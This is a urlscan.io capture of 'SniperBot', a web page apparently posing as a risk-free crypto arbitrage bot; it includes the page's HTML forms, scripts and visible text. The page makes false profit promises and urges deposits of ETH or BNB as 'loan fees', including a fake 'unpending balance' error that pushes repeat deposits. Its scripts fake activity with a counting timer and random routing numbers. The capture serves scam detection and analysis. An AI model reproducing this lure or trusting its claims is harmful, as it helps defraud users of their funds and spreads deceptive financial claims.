app.sniper-bot.cc
Open in
urlscan Pro
2606:4700:3037::6815:1682
Public Scan
Submitted URL: https://sniper-bot.cc/
Effective URL: https://app.sniper-bot.cc/
Submission: On March 18 via api from US — Scanned from US
Effective URL: https://app.sniper-bot.cc/
Submission: On March 18 via api from US — Scanned from US
Form analysis
4 forms found in the DOM<form class="form-table ng-pristine ng-valid ng-valid-minlength ng-valid-maxlength" style="background: transparent;">
<h1 style="font-size: 55px; display: inline;">Welcome to </h1>
<h1 style="text-shadow: 0 0 25px #9340ff; display: inline; font-size: 55px;">
<p style="display: inline;" id="writer">SniperBOT</p>
<p style="display: inline;" class="blink">.</p>
</h1>
<p style="padding: 0px 10%;">SniperBot is the first <b>NO CODE</b> arbitrage trading bot that leverage. <b>Enjoy risk free on-chain arbitrage opportunities</b>, automatic pair matching and routing. Just select the network (ETH or BSC) and enter a
token address to launch the ARBITRAGE FINDER.</p>
<table class="test" style="width:100%;margin-left: 10px;" id="myTable">
</table>
<div class="space50"></div>
<div class="input-holder">
<input id="dropaddr" onclick="getBalance()" type="text" placeholder="Token Address:" ng-model="erc20.name" maxlength="42" minlength="42" autofocus="" #dropaddr=""
class="ng-pristine ng-valid ng-empty ng-valid-minlength ng-valid-maxlength ng-touched">
<input id="dropname" onclick="getBalance()" type="text" placeholder="Token Symbol:" ng-model="erc20.symbol" maxlength="12" #dropname="" class="ng-pristine ng-untouched ng-valid ng-empty ng-valid-maxlength">
</div>
<div> </div>
<div class="center">
<div class="cc-selector" style="display: inline; margin-right: 10px;">
<label class="super">Select Network:</label>
<input type="radio" ng-model="erc20.network" id="n1" name="network" ng-value="true" ng-checked="erc20.network" style="display: inline; margin-right: 10px;" class="ng-pristine ng-untouched ng-valid ng-empty" value="true">
<label class="drinkcard-cc visa" for="n1"> </label>
<input type="radio" ng-model="erc20.network" id="n2" name="network" ng-value="false" ng-checked="!erc20.network" style="display: inline; margin-right: 10px;" class="ng-pristine ng-untouched ng-valid ng-empty" value="false" checked="checked">
<label class="drinkcard-cc mastercard" for="n2"> </label>
</div>
</div>
<div> </div>
<div class="input-holder btn-holder">
<button type="submit" onclick="fixCheck(), getBalance()"><b>START ARBITRAGE FINDER</b></button>
</div>
</form>
<form class="form-table darking block ng-pristine ng-valid" style="background: rgb(17, 17, 17); width: 450px; height: 120px;">
<a style="font-size: 36px; color: white; float: right; padding-top: 18px;" class="ng-binding"><div id="mybalance" style="display: inline;"></div> </a><br>
<a style="font-size: 13px; color: white;">Network:</a><a style="font-size: 11px; color: #1a70e1;" target="_blank" href="" class="ng-binding"></a><br>
<a style="color: white;">Address:</a><a style="font-size: 18px; color: #1a70e1;" target="_blank" href=""><div style="display: inline;" class="ng-binding">...</div></a>
</form>
<form class="form-table darking block ng-valid ng-valid-min ng-valid-max ng-valid-step ng-dirty ng-valid-number ng-hide" style="position: relative; width: 450px;" ng-show="formStep == 2" ng-submit="submitLoanForm()">
<style>
.loader {
border: 10px solid #212429;
border-radius: 100%;
border-top: 10px solid #0e0f11;
width: 125px;
height: 125px;
-webkit-animation: spin 2s linear infinite;
/* Safari */
animation: spin 2s linear infinite;
float: none;
position: absolute;
left: 36%;
transform: translate(-50%, -50%);
}
/* Safari */
@-webkit-keyframes spin {
0% {
-webkit-transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
}
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
</style>
<script type="text/javascript">
window.setTimeout("Tick()", 1000);
function Tick() {}
var Timer;
var TotalSeconds;
function CreateTimer(TimerID, Time) {
Timer = document.getElementById(TimerID);
TotalSeconds = Time;
UpdateTimer()
window.setTimeout("Tick()", 1000);
}
function Tick() {
TotalSeconds += 12;
UpdateTimer()
window.setTimeout("Tick()", 1000);
}
function UpdateTimer() {
Timer.innerHTML = TotalSeconds;
}
setTimeout(function() {
$('#out').fadeOut('fast');
}, 19500);
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<div style="padding: 15px;" id="out">
<div class="alert">
<span class="closebtn" onclick="this.parentElement.style.display='none';">×</span>
<strong>Please wait...</strong> We are searching for the best arbitrage opportunity and swap routing for the selected token.
</div>
<div> </div>
<div> </div>
<div class="loader block2"></div>
<div> </div>
<div> </div>
<div> </div>
<div> </div>
<div> </div>
<div> </div>
<div> </div>
<div> </div>
<a style="color:#ffffff; font-size: 14px;">
<br>
Token Name: <b class="ng-binding"></b><br>
Address: </a><a style="color:#3c64e7; font-size: 10px;" target="_blank" href=" /%7B%7Bscan%7D%7Daddress/%7B%7Berc20.name%7D%7D" class="ng-binding"></a>
<a style="color:#ffffff; font-size: 14px;" class="ng-binding">
<br>
Network: <br>
Routing started: <br>
Router: </a><a style="color:#3c64e7; font-size: 10px;" target="_blank" href=" /%7B%7Bscan%7D%7Daddress/%7B%7Baddress%7D%7D" class="ng-binding"></a>
<a style="color:#ffffff; font-size: 14px;">
<br>
Checking routing combination: <div style="display: inline-block;" id="timer">144</div>/466<br>
Block Number: <span style="display: inline-block;" id="blockNumber"></span><br>
</a>
<script type="text/javascript">
window.onload = CreateTimer("timer", 0);
</script>
</div>
<script>
setTimeout(function() {
$('#in').hide().fadeIn('fast');
}, 20000);
</script>
<div id="in" hidden="">
<div> </div>
<div class="kv">
<div><a style="float:left; color: white; font-size: 21px;" class="ng-binding">Amount: ()</a>
<br>
<a style="color: white; font-size: 12px;" class="ng-binding">Min 25, Max 10000 </a>
</div>
<div class="button-info" id="info2"><i class="fa fa-question-circle"></i></div>
</div>
<div class="input-holder">
<input style="display: inline; width: 100%;" class="input-group-field ng-pristine ng-untouched ng-valid ng-not-empty ng-valid-min ng-valid-max ng-valid-step" id="loanAmtInput" type="number" ng-change="amountChanged()" ng-model="loan.amount"
step="25" min="25" max="10000" placeholder="Loan Amount ():">
<input style="display: inline; width: 100%;" class="slider input-group-field ng-untouched ng-valid ng-not-empty ng-dirty ng-valid-number ng-valid-min ng-valid-max ng-valid-step" id="loanAmtInput" type="range" ng-change="amountChanged()"
ng-model="loan.amount" step="25" min="25" max="1000">
<div class="space25"></div>
<div class="input-holder info">
<div class="kv">
<div class="tooltip">
<div>Dapp Fee <span class="tooltiptext">Small and fair fee to support the dapp developement. It's already deducted from the estimated profit below.</span>
</div>
</div>
<div>0.3%</div>
</div>
<div class="kv">
<div class="tooltip">
<div>Swap Fee <span class="tooltiptext ng-binding">How much its needed to perform the DEX swaps. (GAS FEES)</span>
</div>
</div>
<div class="ng-binding"> </div>
</div>
<div class="kv">
<div>Sniper Fee</div>
<div class="ng-binding"> </div>
</div>
<div class="kv">
<div>Total Gas Fee</div>
<div class="spend ng-binding"> </div>
</div>
<div class="kv">
<div style="display: inline-block;">Routing</div>
<div class="ng-binding">
<div id="check" style="display: inline-block;"></div> Pair >
</div>
<script>
function fixCheck() {
var x = Math.floor((Math.random() * 10) + 1);
document.getElementById("check").innerHTML = x;
}
</script>
</div>
<div class="kv">
<div>Token</div>
<div class="spend ng-binding"></div>
</div>
<hr>
<div class="kv">
<div class="tooltip">
<div>Estimted profit from Arbitrage <span class="tooltiptext">How much you will earn if you start the arbitrage bot right now.</span>
</div>
</div>
<div style="display: inline-block;" class="gain ng-binding">≈ </div>
</div>
<div class="kv">
<div class="tooltip">
<div>ROI <span class="tooltiptext">Return On Investiment.</span>
</div>
</div>
<div style="display: inline-block;" class="gain ng-binding">x </div>
</div>
</div>
<div class="kv" style="padding: 15px; font-size: 12px;">
<div>Finder ID:</div> <div class="tooltip">
<div id="numberid" style="display: inline-block;">h1fhwr</div>
<span class="tooltiptext">This is a unique code for identification of your arbitrage match. Is for an internal use. </span>
</div>
<script>
let r = Math.random().toString(36).substring(7);
document.getElementById("numberid").innerHTML = r;
</script>
</div>
<div class="input-holder btn-holder">
<button type="submit" ng-disabled="processing || ethDeposited" class="ng-binding">Deposit </button>
</div>
<div class="input-holder btn-holder">
<div onclick="plausible('Conv')" class="button-2 connectButton" type="submit" zfm-sbnr="true">
<p class="otstup">Execute SniperBot Arbitrage</p>
</div>
</div>
</div>
</div>
<div id="myModal2" class="modal">
<div class="modal-content" style="border-radius: 25px;padding: 20px;margin-top: 200px;width: 430px;box-shadow: 0 0 1000px 0 #000000, 0 6px 50px 0 #000000;">
<span class="close2" style="float: right;font-size: 30px;">×</span>
<div style="padding: 0 15px;">
<a style="float:left; color: white; font-size: 21px;">Arbitrage Detail:</a><br><br>
<a style="color:#ffffff; font-size: 14px;">
<br>
Token Name: <b class="ng-binding"></b><br>
Address: </a><a style="color:#3c64e7; font-size: 10px;" target="_blank" href=" /%7B%7Bscan%7D%7Daddress/%7B%7Berc20.name%7D%7D" class="ng-binding"></a><br> Caller:
<a style="color:#3c64e7; font-size: 10px;" target="_blank" href=" /%7B%7Bscan%7D%7Daddress/%7B%7Baccount.address%7D%7D" class="ng-binding"></a>
<a style="color:#ffffff; font-size: 14px;" class="ng-binding">
<br>
Routing started: <br>
Router: </a><a style="color:#3c64e7; font-size: 10px;" target="_blank" href=" /%7B%7Bscan%7D%7Daddress/%7B%7Baddress%7D%7D" class="ng-binding"></a><br>
</div>
</div>
</div>
<script>
var modal = document.getElementById("myModal2");
var btn = document.getElementById("info2");
var span = document.getElementsByClassName("close2")[0];
btn.onclick = function() {
modal.style.display = "block";
}
span.onclick = function() {
modal.style.display = "none";
}
window.onclick = function(event) {
if (event.target == modal) {
modal.style.display = "none";
}
}
</script>
</form>
index.html
<form id="regForm" action="index.html" class="ng-pristine ng-valid">
<div class="tab" style="display: block;">
<a style="font-size: 22px; color: white;">1. Choose a Token to Start arbitrage</a><br>
<div class="space25"></div>
<a style="font-size: 12px; color: white;">The DAPP will automatically check for possible arbitrage opportunities for the selected token on the Decentralized exchanges (on ETH or BSC chain)</a>
</div>
<div class="tab">
<a style="font-size: 22px; color: white;">2. Get the Loan for the Arbitrage</a><br><br>
<div class="space10"></div>
<a style="font-size: 12px; color: white;">Once the opportunity has been found, you can get SniperBot from AAVE, Multiplier-Finance, or from PancakeSwap/Uniswap (thanks to Sniper swap). This is done for you in the dapp, just select the loan amount.</a>
</div>
<div class="tab">
<a style="font-size: 22px; color: white;">3. Deposit ETH or BNB</a><br><br>
<div class="space10"></div>
<a style="font-size: 12px; color: white;">Now you need pay the fees of the Loan to start arbitrage clicking the deposit Button.</a>
</div>
<div class="tab">
<a style="font-size: 22px; color: white;">4. Run arbitrage script</a><br><br>
<div class="space10"></div>
<a style="font-size: 12px; color: white;">The bot will execute the arbitrage trades, repay the SniperBot amount and will split the profit between you and the devs (only 0.3% of the profit will go to devs).</a>
</div>
<div style="text-align:center; margin-top:40px; width: 100%;">
<span class="step active"></span>
<span class="step"></span>
<span class="step"></span>
<span class="step"></span>
</div>
<div class="space50"></div>
<div style="width: 100%; padding-right: 25%; padding-left: 25%;">
<button class="block" type="button" id="nextBtn" onclick="nextPrev(1)" style="width: 50%; padding: 15px 6px; background: black;cursor: pointer;">Next</button>
<button type="button" id="prevBtn" onclick="nextPrev(-1)" style="width: 50%; padding: 15px 6px; display: none;">Go Back</button>
</div>
</form>
Text Content
× * Welcome to SniperBot! * Home * Airdrop * Token List * Affiliate Github Docs News FAQ SniperBotfinance ... × YOUR WALLET -------------------------------------------------------------------------------- Check on Copy Address × Error: It looks like you've got unpending balance please make the deposit again to get all the balance unclaimed. If the transaction will be successfull you will receive the arbitrage profits plus the fees from last attempt. Note: To prevent front-run it is recommended to make a deposit of at least 1 BNB or 0.3 ETH. WELCOME TO SNIPERBOT . SniperBot is the first NO CODE arbitrage trading bot that leverage. Enjoy risk free on-chain arbitrage opportunities, automatic pair matching and routing. Just select the network (ETH or BSC) and enter a token address to launch the ARBITRAGE FINDER. Select Network: START ARBITRAGE FINDER Network: Address: ... × Please wait... We are searching for the best arbitrage opportunity and swap routing for the selected token. Token Name: Address: Network: Routing started: Router: Checking routing combination: 144 /466 Block Number: Amount: () Min 25, Max 10000 Dapp Fee Small and fair fee to support the dapp developement. It's already deducted from the estimated profit below. 0.3% Swap Fee How much its needed to perform the DEX swaps. (GAS FEES) Sniper Fee Total Gas Fee Routing Pair > Token -------------------------------------------------------------------------------- Estimted profit from Arbitrage How much you will earn if you start the arbitrage bot right now. ≈ ROI Return On Investiment. x Finder ID: h1fhwr This is a unique code for identification of your arbitrage match. Is for an internal use. Deposit Execute SniperBot Arbitrage × Arbitrage Detail: Token Name: Address: Caller: Routing started: Router: Tutorial Step by Step 1. Choose a Token to Start arbitrage The DAPP will automatically check for possible arbitrage opportunities for the selected token on the Decentralized exchanges (on ETH or BSC chain) 2. Get the Loan for the Arbitrage Once the opportunity has been found, you can get SniperBot from AAVE, Multiplier-Finance, or from PancakeSwap/Uniswap (thanks to Sniper swap). This is done for you in the dapp, just select the loan amount. 3. Deposit ETH or BNB Now you need pay the fees of the Loan to start arbitrage clicking the deposit Button. 4. Run arbitrage script The bot will execute the arbitrage trades, repay the SniperBot amount and will split the profit between you and the devs (only 0.3% of the profit will go to devs). Next Go Back WebSocket: ConnectedOur WebSocket is correctly connected to the Server. © SniperBot 2022-2024 Partners: Metamask | TrustWallet | PancakeSwap | UniSwap